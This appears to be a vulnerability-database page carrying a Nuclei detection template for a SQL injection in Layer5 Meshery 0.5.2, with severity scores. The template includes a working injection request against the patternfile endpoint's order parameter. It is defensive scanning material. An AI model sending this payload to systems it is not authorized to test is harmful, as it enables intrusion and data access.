Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-31856
HistorySep 01, 2021 - 12:15 p.m.

Layer5 Meshery 0.5.2 - SQL Injection

2021-09-0112:15:54
ProjectDiscovery
github.com
7

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.029 Low

EPSS

Percentile

90.6%

Layer5 Meshery 0.5.2 contains a SQL injection vulnerability in the REST API that allows an attacker to execute arbitrary SQL commands via the /experimental/patternfiles endpoint (order parameter in GetMesheryPatterns in models/meshery_pattern_persister.go).

id: CVE-2021-31856

info:
  name: Layer5 Meshery 0.5.2 - SQL Injection
  author: princechaddha
  severity: critical
  description: Layer5 Meshery 0.5.2 contains a SQL injection vulnerability in the REST API that allows an attacker to execute arbitrary SQL commands via the /experimental/patternfiles endpoint (order parameter in GetMesheryPatterns in models/meshery_pattern_persister.go).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade to a patched version of Layer5 Meshery or apply the necessary security patches to mitigate the SQL Injection vulnerability (CVE-2021-31856).
  reference:
    - https://github.com/ssst0n3/CVE-2021-31856
    - https://nvd.nist.gov/vuln/detail/CVE-2021-31856
    - https://meshery.io
    - https://github.com/layer5io/meshery/pull/2745
    - https://github.com/ssst0n3/my_vulnerabilities
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-31856
    cwe-id: CWE-89
    epss-score: 0.03274
    epss-percentile: 0.91056
    cpe: cpe:2.3:a:layer5:meshery:0.5.2:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: layer5
    product: meshery
  tags: cve2021,cve,sqli,layer5
variables:
  num: "999999999"

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5({{num}}))&page=0&page_size=0"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{md5({{num}})}}'

      - type: status
        status:
          - 200
# digest: 4b0a004830460221008282dd3dc0af4d7274665fcf07634a48fd7173a214d41c5e21e649c77c019c4e022100d945931cb64b065349eb9de7b7d95b3e6801dc81a762c39998d8215c3d7a6bb9:922c64590222798bb761d5b6d8e72950

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.029 Low

EPSS

Percentile

90.6%

Related for NUCLEI:CVE-2021-31856